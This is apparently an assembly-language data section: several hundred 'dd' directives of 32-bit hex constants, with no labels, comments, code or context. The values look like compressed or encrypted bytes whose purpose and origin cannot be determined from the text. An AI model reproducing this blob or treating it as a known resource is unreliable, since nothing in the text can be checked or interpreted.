dd 4B383D25h, 0E221FB03h, 28C1ECFDh, 0E011E001h, 0C453B3Eh
dd 719AB18Eh, 282C78E3h, 780897B3h, 1FB43023h, 0B2C77B71h
dd 0ABBE4EC0h, 52364E68h, 8B0694D5h, 0F84C1B0Dh, 80847137h
dd 2853C5E0h, 767F06C0h, 0D037F680h, 0B5759915h, 1F3A788Ch
dd 418EF08h, 0D741C3DFh, 0FC587F7Dh, 0F2FAE94Bh, 5595E000h
dd 0A8E235A2h, 46EA0012h, 0CCB58A9Bh, 0C6024E52h, 80F738EFh
dd 0D99CA03Ah, 330742Fh, 0C6114D62h, 8307384h, 27C421D2h
dd 0FE020074h, 6019152Fh, 80224D89h, 228600E6h, 0F7F3B23Ch
dd 0BA03639Bh, 6D7FFBD5h, 0BE9EC0AFh, 6A7FE68h, 0D935423Fh
dd 3900E1C3h, 92BDFDD8h, 19E4F8FFh, 8F1B73Eh, 0F7218063h
dd 4A0DBDF5h, 0E94E006Dh, 9B5073D4h, 80347E0Ch, 99C0818Fh
dd 7FA1B8h, 76879F8Eh, 3F89BF31h, 60611490h, 0B1C22AE9h
dd 0D6FB850h, 61740E79h, 500070CBh, 1BCF5C0Eh, 9975E000h
dd 0C8A26BF9h, 0BF740F87h, 0DFA0CB8Eh, 511CA60Eh, 0EEBE6200h
dd 34C012B4h, 89DA60DDh, 75667939h, 25BBD203h, 0A8F3081Bh
dd 2575BE3h, 0F28D610Bh, 0E8A0C9ACh, 34F9EC93h, 1F491DE8h
dd 79037CB0h, 0B08C0E29h, 0B72900FCh, 0B6D19862h, 4E2435B8h
dd 6B80341Eh, 0A70659DAh, 914B1FF0h, 56F10741h, 0FDC52036h
dd 3875A92Bh, 2904F4ACh, 3D623274h, 0FA20AE62h, 247421h
dd 87B437BBh, 81828FBEh, 26853E18h, 0CE3BC0B8h, 71CEAFA9h
dd 5D19B9C0h, 0B85CF653h, 0F8A9000Ah, 0ECBBE696h, 13781884h
dd 334EB027h, 0DA70B9C3h, 603FEA6Ch, 14FC90A0h, 8CB161A6h
dd 99C5280h, 933F72F0h, 708B072Bh, 0BBB39546h, 0B4A2A8BFh
dd 94A500F3h, 0EE552EA3h, 0ECF0CF62h, 6BD7600h, 57B7950Ah
dd 0B8721D37h, 637A422Bh, 40D513DFh, 1E713B0Bh, 0C661A5B9h
dd 79C72E8Eh, 5FE0A702h, 0C06BBE19h, 0E435FB7Fh, 0E3750CF7h
dd 2FF91C33h, 7826CCA4h, 1001815h, 71ABB662h, 0CF670473h
dd 908FC29Fh, 2B7E2434h, 662C1D00h, 0CB5BA796h, 0A2DC007Fh
dd 8053EC43h, 0CF0CE095h, 58C32DC0h, 0CB6E008Dh, 0F0C93ABAh
dd 817730C8h, 4E0067EAh, 11442DF3h, 0A578DEh, 0D52EE269h
dd 0ABB2EC49h, 838FCE00h, 77E9D3D2h, 5D2A1C24h, 0E58800FAh
dd 3D0A9E3Fh, 0D600B0F8h, 9127FB70h, 0E83E581Eh, 0A222184Bh
dd 94487C9Bh, 81442A0Ch, 0C05C08EDh, 8F1CDF21h, 0AC0C65F5h
dd 180247ADh, 3C0C00C5h, 42E08325h, 217EB81Ch, 0F41BD001h
dd 8E924A6Fh, 2242881h, 8046AC33h, 0CE184239h, 71CF316h
dd 8DB5502Dh, 197432Eh, 108C2000h, 0EEAFAECEh, 27E26Ah
dd 0A8EACCE9h, 0A089C55Bh, 0C8327836h, 28222931h, 18595968h
dd 0AB8B003Fh, 0EF519FB2h, 5001F1B0h, 599C0136h, 0B8914A6Dh
dd 0CE419E1Fh, 0CDBCF312h, 3240B00Ch, 0CE1D0060h, 342D0E0Fh
dd 7802BF3Dh, 16FB775Dh, 0F1AEE192h, 454D8C40h, 0A65A0343h
dd 0EB549DCAh, 800C52E9h, 0FE948410h, 16B43Ch, 58153366h
dd 1E99DDF9h, 2272A40Eh, 9C31C3EAh, 304E9877h, 0EDF50355h
dd 8E0CB536h, 580A7B80h, 0CB779700h, 2B7321B7h, 115F021Ch
dd 0E55D6076h, 96268540h, 0A8174E04h, 71800BD3h, 1DAE88h
dd 0AB7BF90Dh, 85909FF0h, 0B1A40700h, 0C96FD423h, 0F1FF004Fh
dd 88E643E1h, 0D500FA93h, 55BCDE25h, 9A9681Fh, 869D972Ch
dd 0D175F00h, 0DB00A1E4h, 525D3423h, 0E2DA1Dh, 86D6A338h
dd 8574D5DFh, 18D604A7h, 10D1B9EEh, 80EBCE7Ah, 358F2DD0h
dd 0AE24CDh, 6B1E7933h, 0AD66E96Dh, 0F1127AE6h, 0F806FEE3h
dd 2029379Ch, 363B76E7h, 0CA19007Dh, 6EF4D243h, 55230737h
dd 6015300Bh, 9773FDABh, 70B80D00h, 5139AD0Ah, 6C57009Bh
dd 20FC6D85h, 9D1CAA90h, 0A640DB80h, 0D3F1CE0Ch, 6F98C8h
dd 8B97BF68h, 3A9A1036h, 0AA0D0900h, 64D908CCh, 0D1CD2FAEh
dd 9100E078h, 0FA353A7Ah, 3C39A298h, 298082DDh, 59AA715Dh
dd 99007785h, 8109B14Eh, 0E890AEh, 0B26266DEh, 0E47D2D56h
dd 0BF012BE8h, 4A53B3D7h, 5AF8B7F4h, 6CCB00D2h, 63EC9AABh
dd 0F5008E3Fh, 4E953C66h, 412534h, 422733C9h, 1A84CB51h
dd 80F6F43Eh, 0CE0549F2h, 956D64h, 3FFBCA70h, 0DB19628h
dd 1FA76700h, 839BA82Eh, 60CCFCA6h, 0DCE21021h, 48001C4Bh
dd 557E89B6h, 3D0E65Ch, 0C0277FEFh, 43B84E9Eh, 0C41D60FBh
dd 263054F8h, 33D3F9Dh, 2B0CCDF7h, 0DD80C80Eh, 0FD01A86Dh
dd 5929C7Dh, 0F9C8CE9Bh, 442B0151h, 0FF4CA3DAh, 0E0102077h
dd 5475600h, 0E86BEB0Ch, 0B0C500A1h, 469619DDh, 150050B4h
dd 0D3CF0BD0h, 0CD42180h, 0D251E1AAh, 0C038FD4h, 0F6325549h
dd 2CF8D036h, 2A9A00F2h, 11409EA3h, 84007C63h, 99F99479h
dd 223DABh, 0C6C89C7Fh, 652CA7FCh, 9FAAB400h, 6C495CD2h
dd 577900B7h, 0C3201BFDh, 88C48C1Ch, 31FC8186h, 0AF0AC107h
dd 87CD3039h, 46242104h, 0DB0074C0h, 0FED9CF37h, 1E0BE045h
dd 800FCD63h, 42468AD2h, 9D006FE2h, 0C806CF8Eh, 0ECE617E4h
dd 6E60C094h, 0BE8391BDh, 0AD31DE00h, 0FBE396A6h, 0D2340168h
dd 2EDC759h, 0BB118130h
dd 48535B63h, 25CED980h, 3A5A8BDAh, 0E0A01900h, 8FD3F050h
dd 0EEC700CDh, 6D49C521h, 7C008B6Eh, 2B169EE2h, 5A874Ah
dd 4B737B5Dh, 40EE06CBh, 0B0D4370Fh, 0D9FAA2C5h, 5E807510h
dd 0E816E70Fh, 0E2C8F907h, 272070B4h, 0E0DE6DF5h, 717300E1h
dd 826F6E8Eh, 1D280418h, 8D01F075h, 0C6B1A909h, 96E8EB1Eh
dd 0BF7F00A2h, 0B6ABCEFEh, 0FF006A57h, 349F3787h, 0A18D6B0Eh
dd 18279C90h, 506ACF48h, 0FA600010h, 0D9196387h, 90A5BE00h
dd 0BA5E62FEh, 0C6DA09F3h, 8219DD1h, 503E590Bh, 1C13A4ECh
dd 19AAD00Bh, 7AF1807Dh, 28C6D572h, 1EC5A60h, 9A684794h
dd 80CD3CE0h, 8BEBD5C1h, 414C458h, 0E694953h, 804085E5h
dd 4D7A3A13h, 68769F00h, 847F2658h, 1408FC39h, 0C2EE6C9Bh
dd 0AA6BBB01h, 80E6AD5Ch, 140F3338h, 1F401E87h, 92BADA86h
dd 0DE9C0148h, 80242FA5h, 8DD9D429h, 3F8A01h, 0E7C46260h
dd 9C2609B0h, 710B8301h, 957E064Bh, 0C9C42021h, 6ADD027Bh
dd 0DA027592h, 0D5102C48h, 93C7CE01h, 0FA30F5B2h, 0FE853A30h
dd 0B42D26DAh, 7646005Ch, 0F5210A4Eh, 69D53A00h, 0BB22E7F9h
dd 579A0044h, 0D7BEE05Ch, 8900300Eh, 0B8C6FAA8h, 0AED585h
dd 0A0318D36h, 3FE8C92Eh, 0EABCED00h, 7658B250h, 5975077Ah
dd 0C79A0Bh, 1CEEC2D2h, 7311DA01h, 76F16F48h, 0C860F4h
dd 218A2468h, 79C41AE7h, 908BD000h, 0A1FC549Bh, 5E441220h
dd 1B44F91h, 0BD0C8D49h, 3238C630h, 1810033Ah, 6932025h
dd 0A1EE43F8h, 2AE6203Dh, 0FF645603h, 81086D9Bh, 2980EC83h
dd 92781B3Eh, 3100CA7Ch, 0B2A95072h, 1C6D9962h, 53AF7B77h
dd 1C930037h, 5D44B95Ch, 405C2060h, 302F862Eh, 61999398h
dd 0FD1CF23Fh, 0E3C92CFFh, 4E183056h, 0B5AA00EAh, 0A16A62BBh
dd 0F03C4121h, 7C2D800Ch, 0B45CB053h, 0F1E8A83Ch, 425B010h
dd 0F2978AE7h, 0B76880F5h, 1D6E696Dh, 8F098018h, 254A295h
dd 0D903DCE0h, 6840E31Bh, 610EAD0Dh, 40CE86BDh, 0FCB69104h
dd 369B0044h, 0D66F198Bh, 3D52AA74h, 0A913A24h, 0D34D1672h
dd 0C25FBA02h, 0BB7FE055h, 0AA4A00B6h, 0DC2F9C52h, 542CA3D1h
dd 7300545Fh, 0C3D88C3Ch, 65C91C68h, 408E1D0Bh, 50CCFD84h
dd 8C30296Dh, 80E4C0DEh, 0A032B0CEh, 76C2478h, 1B3F6E19h
dd 28C6F04Dh, 0BD0A1377h, 982C1748h, 66BF2907h, 0CF5DF511h
dd 8738FC50h, 88F41CCCh, 536400CBh, 0A47F811Dh, 6A25EC00h
dd 0A85678ADh, 91D97E95h, 0C3AB8820h, 286C52h, 3FC814BDh
dd 0B40C9BF8h, 0F1EB7600h, 81E6C0E2h, 38870058h, 25EE7733h
dd 5A288DADh, 8526A441h, 7B805C5Eh, 5B069A9Eh, 89B00FDh
dd 0C59FA329h, 86FAB424h, 0E17BD703h, 0DB04F2C6h, 87879E0h
dd 3D06103Fh, 41344982h, 0E8044B6Fh, 0B21329h, 0EE8D67D5h
dd 0EE4A53Bh, 0AFC2FF00h, 0D33AC4Ch, 16B27AD2h, 40807A55h
dd 4FB9529Ch, 0C9F0A037h, 7800087Ch, 3E14570Bh, 4D12ADE1h
dd 0F100341Bh, 0B944FEBBh, 0E700A93Fh, 0C07FC2DCh, 135315h
dd 7B72FB23h, 272C8A19h, 4735D400h, 7AB048DEh, 56551853h
dd 9CD610FFh, 3430AA07h, 799088D5h, 153D2F22h, 94703BD9h
dd 9FC0528h, 86B01BDBh, 47F81000h, 3C005A30h, 0B641A71Fh
dd 58174A7Eh, 73039C42h, 0BCF6AD62h, 8084113Eh, 0E2D7E31Eh
dd 0FCDCCD4h, 0F3F2C5EEh, 87F82580h, 3F2C5C30h, 0C21D347Fh
dd 0FC0ED940h, 17B8863Bh, 0AED343h, 92C0A4F4h, 8F00C369h
dd 489F7F50h, 7AC90Bh, 0F53ECF84h, 0B5407D81h, 3CDED600h
dd 3B46B672h, 0AB4800DCh, 0A905193h, 0D107F657h, 0B59D379Eh
dd 8494C8A0h, 0A0DB00CBh, 8D5AF34h, 0CD002AB3h, 3E9F5D05h
dd 0BA7F38h, 83047BE4h, 91F1E251h, 0F845BE00h, 0A7695711h
dd 4A75043Dh, 0A0D9420Ah, 0E2021AA0h, 793930E4h, 57F0A0B5h
dd 9D0EA2h, 0D912B0EEh, 43C88CAh, 5C48862Ch, 0E58A4D87h
dd 30A49E91h, 0EE8864h, 930F10C7h, 850B9965h, 17743259h
dd 0EF00084Ah, 0C5D8EF78h, 6DC90041h, 0CA0B5DFCh, 0DD009447h
dd 4B74F4AAh, 3BAFEB8h, 0CC4A421h, 0A8C6E5B1h, 0C8938513h
dd 8ABCF440h, 0B3F6C768h, 0A4ACC8h, 6C638B96h, 0EC0B17ABh
dd 0A0A44AB2h, 3E945F88h, 61461286h, 875040D1h, 0B3D6CD6Eh
dd 94651D00h, 0C8A82080h, 0C6B15C14h, 2B58B600h, 8777A356h
dd 0D1768630h, 240CFCC7h, 80A0AD0Eh, 7F8F75EFh, 2E2CF595h
dd 92033C31h, 0CF83BA25h, 724B2F30h, 4A66072Bh, 20A907EBh
dd 0F6770A5Ah, 0F050D9EEh, 0C3015CBCh, 0B6B5C7FFh, 0DC217630h
dd 0DF0C30h, 2D05D681h, 0D7CDFED1h, 21E7AC00h, 1D86B4A3h
dd 2C70E6BCh, 80CCD030h, 53BF642Bh, 0EF98118Ah, 24C2FE00h
dd 8E0876C9h, 3CBD139Eh, 7D20077Bh, 0DF1790FAh, 0C38FD47h
dd 0EB4D0206h, 62F3E1D9h, 2E10589Fh, 49548AA6h, 0F7BA2498h
dd 204B34Ch, 5E61CF8Ch, 6E38EAB1h, 6C4F13C8h, 0AC000C3h
dd 5AC97D4h, 0E2424B00h, 0EFF181D6h, 0C6DF02C8h, 0C1609AC5h
dd 0FEAAF882h, 0F180A465h, 0E4C591CCh, 0CBDD0053h, 0F9825E32h
dd 4C25BD8Eh, 5C581095h, 0D1802E1Dh, 3F102A3Eh, 898CB520h
dd 0C5C16310h, 0BDAA3A00h, 4A4F0B72h, 189760E5h, 38641488h
dd 0FA77D900h, 55683E1Bh, 45041D6Dh, 0C989C01Dh, 0CEEC251Ah
dd 78473800h, 8D562687h, 3C9F00AFh, 341D0779h, 0D500E275h
dd 59429A4h, 0A3E4D9h, 6787C48Bh, 0EF6E737Fh, 1E6AF000h
dd 0D954A068h, 0A2221E99h, 0CC340FAh, 4FB4D89Eh, 0B62EAD0Eh
dd 86F8A00Ah, 1BFEDC33h, 0D8FC8201h, 0D3409288h, 7DB6FB00h
dd 6C2D66A8h, 52811B43h, 8ACAD09Ah, 532F7848h, 1560394Ch
dd 158C2363h, 48885ACDh, 12858B8h, 0A46E4412h, 0E130C7A3h
dd 0BDFF22Ah, 0B70FD7AAh, 0AC0D5D00h, 8803843Ch, 2F483DF6h
dd 0DE9AB84Ah, 697AD8h, 0C8F31794h, 0C5721B6Eh, 74E27300h
dd 0B93E0E70h, 0AC1D00A7h, 10E5575Fh, 0AE01B572h, 4E555D2Fh
dd 5E4567Eh, 71743E47h, 9B086A80h, 0D0586CE8h, 1A9A5013h
dd 0DC02F807h, 1BA61370h, 76200AEh, 0A7416EFAh, 0B500F226h
dd 82D04587h, 2C0E59h, 0B94E818h, 531021F7h, 470028F6h
dd 37AE355Bh, 2631E5B8h, 1DE0D463h, 0C040D23Ch, 297C481Ch
dd 2E92BB00h, 5201884Ch, 0C1450253h, 0BD0F7042h, 0F0E85C61h
dd 0F500BE25h, 6BC51863h, 0F033C6Eh, 0DDD3EF8Eh, 1AD5E920h
dd 4400BF70h, 8DFA236h, 21B43Fh, 0A960825Ah, 4D37641Eh
dd 43716800h, 63304EF7h, 0D37AEEh, 0FF07D8Bh, 9C292360h
dd 52265903h, 0E8CA38FAh, 0A823F0Dh, 80203961h, 0B19C02E4h
dd 0CCC1AE53h, 9590D333h, 7A00F21Ah, 8E45691Dh, 4C529FA8h
dd 0A048CA3Ah, 4D862900h, 6454A1C8h, 195FCF00h, 24FEB4ABh
dd 970B24A0h, 2FD4099Ah, 0F2DD3880h, 0C000C892h, 0EAAAB1B9h
dd 0B4E96Fh, 9DA2C3E0h, 18CB737Bh, 0CFA1CD00h, 5DB2FC5Ch
dd 672200B7h, 5E72A54Ch, 643C119Ch, 0DABC0014h, 0DFDB28E4h
dd 37A10778h, 0BE867DB5h, 0F3FB19E0h, 0A600B724h, 4ED43D11h
dd 1E8894AEh, 79EA0BDh, 3067FA48h, 7F3943BBh, 0C20FC300h
dd 0CFA2FBF5h, 4932004Ah, 7BDB488Fh, 0F91DB3EAh, 0E7403A11h
dd 61EFB099h, 30D75854h, 4213DD03h, 47F05365h, 51009C7Ah
dd 0BC7C1AA5h, 7D7240E2h, 27A01D9Dh, 70898073h, 213452CAh
dd 28B26100h, 6EE40A0Fh, 6C7A1690h, 44C4009Bh, 0DDF2A834h
dd 97FEA001h, 136025AAh
dd 1FF05231h, 0E2FD09E6h, 9A00353Bh, 0B490767Fh, 0A1F538h
dd 80FEEB5Eh, 0BD6E799h, 4DF34A65h, 0AAD0C021h, 698770A5h
dd 0BA899F00h, 1AE9D8A7h, 54720307h, 0B49AE1FAh, 0F5927FC0h
dd 7BF65201h, 296B0D8h, 3A33A880h, 3FD3C4BFh, 8AE76700h
dd 0CB49F1AFh, 70715826h, 0D7D0B61Dh, 227840F2h, 112EF7C2h
dd 3CCD200h, 3A8AFA3Eh, 5CB8CEh, 5554025Bh, 6525A0B8h
dd 1B247E00h, 2C26EF27h, 0A8F513BBh, 0E80F006Bh, 1D5A9B6h
dd 0E91D9AF6h, 1D008F06h, 37936335h, 51320F6Ah, 444B803Fh
dd 9703D490h, 0CD5E8801h, 0D6A8D174h, 3C9AB8C0h, 0CF03A0E8h
dd 0C61C8723h, 13148085h, 0D206AE2Ch, 0E3B39A81h, 1D0000Eh
dd 91778E0Ch, 801F069h, 0A5CD4BC9h, 51D0ADB4h, 8C75B0h
dd 4A2AF217h, 1BFED039h, 96BE1800h, 20FCED16h, 78C603D7h
dd 9E84A71Ah, 0A5ACA1B7h, 0F842F83Ah, 57D083Dh, 0D436D25Ch
dd 710DB0D0h, 63B807h, 49826B4Dh, 0E4EC94AFh, 7C045Ch
dd 0F841B825h, 3756CFh, 39706D4Eh, 0C455744Dh, 977C83Eh
dd 80724F0Fh, 5944216Dh, 7B9A0732h, 0D005BC58h, 82B557A0h
dd 780C71C1h, 33D8A422h, 61160051h, 7B12EF4h, 749E3F24h
dd 1829560Ah, 424A6800h, 0E8BD4FD9h, 0A7D3262Dh, 454E0FB0h
dd 0E66D6080h, 0E8798E76h, 659A600h, 0B10FC524h, 4C2F18A9h
dd 0CCF62854h, 4F921201h, 0B65707B4h, 0B06D3043h, 4857576h
dd 472BF9Ah, 0C2041E17h, 0C0FFEDB0h, 0F6CEE62h, 7282F79h
dd 58005427h, 67988110h, 2299971h, 979570C3h, 308ED1BBh
dd 9851138Ch, 9970D700h, 0C4ADA177h, 0DFE000C0h, 645DCF4Dh
dd 2400CD33h, 1A2FC278h, 0C1D60EADh, 97D14D40h, 96045B76h
dd 978754CAh, 25C1C2DBh, 52D63460h, 4444728h, 2F7A8998h
dd 2ED1481Fh, 311C8094h, 0A441D8A5h, 40808ADh, 0E218B020h
dd 0C3035E93h, 118C0D4Dh, 47D110C6h, 0D5506575h, 4CCE180Ah
dd 0A6694C9Bh, 0E1A08B78h, 1C437A55h, 108961C8h, 594ECCAEh
dd 0CA101750h, 853B860h, 0D6000442h, 2F285D4Ch, 81DE86D2h
dd 6811C974h, 5F808728h, 832B40Ah, 9A0CA34Eh, 1F291453h
dd 5324C4Dh, 409BFA20h, 0D2502CC5h, 74570801h, 544222Bh
dd 5301F6F4h, 4000EC29h, 4F6C2CC0h, 0FBF896A1h, 1008B568h
dd 0C1D70421h, 8AD8EAEEh, 0B4ADF610h, 1C07DB40h, 0EE400004h
dd 20E36BEh, 0AF21E28Ah, 588738E9h, 0B260C838h, 2820D753h
dd 0CC4125E9h, 8E69E438h, 0CB597260h, 0C0E34201h, 512AEF48h
dd 8E00C30Bh, 300E96D3h, 920CED75h, 12E40690h, 116E6246h
dd 94A49A09h, 2F2C8F3Ch, 69346C3Dh, 6073E251h, 0D19B48D5h
dd 0F4034F93h, 21F60690h, 987EEFC2h, 1CE680h, 0C7B830Fh
dd 0D074D3ECh, 2479327h, 0E191239Ch, 0FAD02458h, 8608DF6Dh
dd 0C14A8EC2h, 0D66C48C6h, 3C849008h, 22004212h, 50F5F808h
dd 3C03D4F9h, 0D5D04534h, 0A8C3F3EFh, 4D7DD2h, 0FE6DC6Dh
dd 92DFF4B4h, 0C1D9786Eh, 0CCE9F51Ah, 0FC3EB050h, 0A0324D09h
dd 935DF400h, 0A2BD9A76h, 0E4D049h, 60EEC67Ah, 0FC91D1CFh
dd 39C906Ch, 50D47D55h, 294007A2h, 5331B6D0h, 79F411E9h
dd 17D6C30h, 6B7E8402h, 0ECAC4340h, 0E5036585h, 5350867Ch
dd 0E1F16649h, 6F5808D8h, 835425ECh, 0C3440578h, 2AAAD85Fh
dd 0B0BA3FD2h, 647E538Ch, 1D03EC21h, 0A6E6D076h, 81A10A7Bh
dd 14B4C2FAh, 0D712ACFBh, 50F80341h, 0AC98B499h, 0E650DA40h
dd 0DD125298h, 2C50DB53h, 110A6A8h, 0EDF1851Dh, 92064AD7h
dd 384C7A7Ah, 0A7DF1D1h, 5C87171Fh, 0CE3459B8h, 0F0102D19h
dd 0D2800C2Fh, 0A5F600EEh, 0FF094DC2h, 780EB79Fh, 0A3B43013h
dd 840C97CEh, 21062082h, 41CAD950h, 0DC87CCA4h, 47000EF4h
dd 0D59E5D2Dh, 1EA39497h, 15C6A54h, 0D3B95FD0h, 0F610F4D1h
dd 0DD13FE07h, 16804320h, 50E428ADh, 9E93A08Fh, 4A6E83ECh
dd 0C9285901h, 2D59905Ah, 29B840C8h, 0E4240189h, 0FBF93A55h
dd 8C50DC0Ah, 0ED8A0A4h, 0A40576D1h, 8C145E9Ah, 8F4E020h
dd 3DA763D8h, 0EF670C24h, 5FE04059h, 906C7CACh, 303A4818h
dd 0A25701A1h, 8C0A8859h, 4C754B7Ah, 5311FA10h, 12C06684h
dd 0DC7744F1h, 0B58A4200h, 29C96151h, 6D101ABh, 0FDF325A0h
dd 83804366h, 0FC4D4100h, 0A5427AD0h, 0B10C638Fh, 2921FEF4h
dd 0D00A3DD1h, 93CCBAFh, 8805E40Bh, 3D58236Dh, 30CE6BC1h
dd 48A40327h, 97DC4B0h, 3F83F0A0h, 4A9C3C0Eh, 80C5EC54h
dd 0A2D18A1h, 4DE6B0CEh, 60E8A532h, 406CC0CDh, 0F72FA3Ch
dd 4BB4AF47h, 0E479B09Dh, 0D718EB1Dh, 0B3717598h, 0A8BE0AB7h
dd 62B09D53h, 1804D61Eh, 0F9938858h, 0E4D97A2Ah, 9D780F07h
dd 4B47E498h, 994ED4F1h, 0B7C570h, 0F825790Dh, 50DD69E8h
dd 8D8D4CB6h, 8C0C1058h, 7325057Ah, 0B48F6D9Ah, 41034E44h
dd 0EFD1226Fh, 29810464h, 808179A4h, 25409344h, 47007BF0h
dd 0C04B2CFEh, 0D47DA2A3h, 0E23EC841h, 0EC453603h, 0D9C07C8Fh
dd 0D2ECB828h, 4E145A72h, 1098E3F5h, 20002D32h, 3FC6500Dh
dd 4B16B710h, 4C4076E4h, 0FFB9512Fh, 0A3D37881h, 1B6D9848h
dd 55E000C6h, 56E10157h, 9C61F5BAh, 51B62520h, 32001032h
dd 0E7BE7807h, 1C79D2CFh, 88146E5Ah, 0BFC20070h, 6B0CC3E0h
dd 0AEBE18B1h, 84CF39A2h, 0A3765400h, 919655A4h, 0CAC6001Eh
dd 0F87C4C68h, 0C7A07B24h, 0C0DD3667h, 591118C0h, 3C6ADF13h
dd 161E6148h, 96B20F57h, 50EE5F62h, 0AEDAC320h, 534009Dh
dd 0FB5A60A6h, 32002B18h, 0B3D256E8h, 895B58h, 3F398114h
dd 97337B17h, 0BEC3F507h, 7620464Eh, 3AB840B5h, 0B000C8D0h
dd 0B99A50AAh, 4209F3D2h, 80530F2Dh, 3F027CE4h, 4B01Eh
dd 0D8886D50h, 51E8150Bh, 64917A0Eh, 0AC3204Fh, 7CCC765Eh
dd 9A5A00E6h, 260C4DE5h, 0FC01EDE8h, 0BDB6BC36h, 0B3F09010h
dd 0D4E4F13Bh, 0D1F0EEh, 0A419D2A6h, 57E80332h, 0E76F3A0Eh
dd 8DA10173h, 18835A5Eh, 39CEAC4Eh, 0ECEA500Fh, 4B888057h
dd 0C05835D3h, 466B6CFAh, 0DA58BD80h, 0A3550F97h, 2E57801Ch
dd 1D9C0123h, 0C360E7B0h, 9652340Bh, 9DD311C0h, 0A282767h
dd 0F772A850h, 0ECE70C5Dh, 0A318BC05h, 88D9D462h, 0F70498E9h
dd 0F4400FDCh, 0AC08A65h, 19E2B7BCh, 0B842D8C0h, 6DCADh
dd 11550C4Ah, 7D383447h, 0DF502770h, 0F4076C8Ch, 0DB901AA8h
dd 211130C0h, 7689015Ah, 92D50877h, 294CE850h, 0B14E6805h
dd 2803D313h, 2884C2D9h, 74C0E819h, 90B80AEh, 0A91FD830h
dd 5377A312h, 9B046050h, 0C3C53FD8h, 0A822BC5Ah, 0BE57025Eh
dd 0B14DC331h, 39C0908Eh, 73AD511Eh, 2D21C40Ah, 2602480Bh
dd 903D5A4Dh, 0A80BA47Ch, 0C1591D08h, 6C3A7A79h, 3FF18249h
dd 0A77CC67Dh, 1F32BC84h, 0E4CDC074h, 0D30F06CFh, 910D9E98h
dd 0E0C19621h, 7E127DDCh, 65D448C1h, 0C983A7ABh, 8BCB9FDDh
dd 21642080h, 0E114A20Ch, 6D18148h, 0CC3B516Fh, 6C303157h
dd 0E26BFA3Ch, 67490C75h, 14587F88h, 394D7935h, 0E678EB00h
dd 5422D897h, 5139406h, 0E4FF1FE5h, 8B8C016Fh, 0EC39F516h
dd 0B81564DCh, 38BC5EBCh, 89B91F43h, 5F8A11F0h, 4D6D20EBh
dd 0DD549402h, 4E252Dh, 0B9361AC9h, 385C7F3Eh, 1FD7853Bh
dd 0C050C20Fh, 118878DCh, 1E641F65h, 0B67C2ECh, 0A08CBE3Dh
dd 0C8FED948h, 4E52D24h, 987B269Eh, 6E99C02Bh, 10D4A8B8h
dd 0A9B600B1h, 0E8149AA8h
dd 0C744A5D2h, 55E43A94h, 56CB3C07h, 50AAC711h, 17138798h
dd 9A0EC812h, 4066CC4Ah, 322F57F8h, 6D684EC0h, 0BB4091h
dd 31E8085Ah, 9118A404h, 60AF080h, 64400341h, 652FBCB9h
dd 4FD02058h, 810A8754h, 95F91BCh, 2C93F3Ch, 689511E4h
dd 2BDC360h, 1078EBB9h, 0A4A0BAD3h, 338C0ADBh, 0C10834Dh
dd 190DBDE4h, 8A1C9910h, 81849EBh, 0D092DE8h, 17149294h
dd 0CA81F504h, 0FCE512A5h, 123702C4h, 0E8EC6CDh, 35ECDD78h
dd 39183829h, 0FB1802C8h, 0C403E9B0h, 0CB9198E0h, 0BEB5BF03h
dd 0FB35052Eh, 5271C8B1h, 496E30C2h, 0D4163169h, 0C0381C03h
dd 8BD0082Eh, 4825A22Fh, 0F8BC8h, 0A287BD4h, 0A3CA1C3Ch
dd 5EC29D06h, 3971B47Fh, 51E00C68h, 4754C6Ch, 80973E00h
dd 0DEDA4546h, 57E2004Eh, 0B31FA183h, 0E003769h, 0C5C6F250h
dd 9A8BEB6Ch, 62110028h, 0FAA0C205h, 4138957h, 40FFED9h
dd 20DD8451h, 1D7A57C0h, 410A0070h, 0C512A4C0h, 8A3077F4h
dd 651691B1h, 0FAB20079h, 0F207E34Ch, 0C4078039h, 0E2120290h
dd 0D9091C10h, 0D4DC1C1Fh, 726AC235h, 8CB0F852h, 1E08D3C0h
dd 622FD038h, 91005B6Ch, 2A12D401h, 79CC89DBh, 0E35E1C5Ah
dd 85D1DF85h, 0C168FBA4h, 10552A0h, 0E9BD92EAh, 4AFD0280h
dd 75747126h, 0D1205909h, 0F608BDFh, 78556186h, 90E99A03h
dd 7B3A8051h, 136EC4h, 8353DB41h, 0CB5CAACFh, 3C000092h
dd 3DA7CA2h, 9E6271h, 61E99B1Eh, 0ACBC3A21h, 8E739204h
dd 88CA5AFh, 31770CF8h, 989991EBh, 599A7800h, 44150AECh
dd 0F1950054h, 81CAC668h, 77001865h, 6EECF2Ch, 1334AA1h
dd 54E30FE1h, 22BC85A2h, 9C1B0040h, 88FB8C07h, 0C56A0362h
dd 8DEAD358h, 9B2D6900h, 0AEF3F4B4h, 0FDBE0085h, 0C5B390CAh
dd 39EE20F9h, 8851DE24h, 7B87EB80h, 0D113A97h, 13765D90h
dd 2433F569h, 80070D84h, 5946632Ch, 36A5DE50h, 0E9C102ACh
dd 6B222EC7h, 56CECCE0h, 99FCF501h, 5B226E8h, 0C7284980h
dd 533A7814h, 82E33C07h, 604633FCh, 21F10021h, 80B6400Ah
dd 7302A4ACh, 87D38D3h, 0EAD04162h, 0F5006022h, 0B24116D9h
dd 89002BD7h, 0D06C58A7h, 60FAC4AEh, 47AC517Fh, 0F503CD08h
dd 56803445h, 0CBA3F88Ah, 86E500B2h, 6C04F63Eh, 2D033C92h
dd 4A6F145Fh, 1241BEDDh, 334E3E88h, 56B2672Ch, 5E5FE900h
dd 0D8B302E7h, 3A45942Ch, 48D68049h, 354AFEA8h, 5A54E420h
dd 414CD873h, 4B01B46Ch, 63B7FF6Bh, 38D88595h, 241435BCh
dd 6202830h, 7CD97B00h, 98E309EEh, 6BF3009Ah, 5160CAC5h
dd 4004771Ch, 0D424378Bh, 89BC54C8h, 8087E034h, 1261D63Fh
dd 0B5C030CAh, 0B04AE1BEh, 20C80AD0h, 3C7C8359h, 9AD27707h
dd 367B4070h, 3E6AF5BCh, 5E08E098h, 0D3F2600Ch, 0A0463820h
dd 0EA4E310h, 1D41B97h, 0A28E1339h, 36E589C9h, 0F58D6980h
dd 0BB46BF06h, 0B08CF000h, 0A23D2CE5h, 22B30EB4h, 0F4804D02h
dd 13841A67h, 0D02BDD3Ch, 0B3BBD6Ch, 0D58E80CDh, 0FF2AA61h
dd 3AF903D3h, 8A7A561Ch, 1AA04383h, 388050B9h, 0B078BAD3h
dd 709F0068h, 6832E376h, 1A300277h, 0EAA99CCh, 0E53D00EDh
dd 746D09A0h, 8E007884h, 7E6635A9h, 2B6A3F4h, 3F2D033Ah
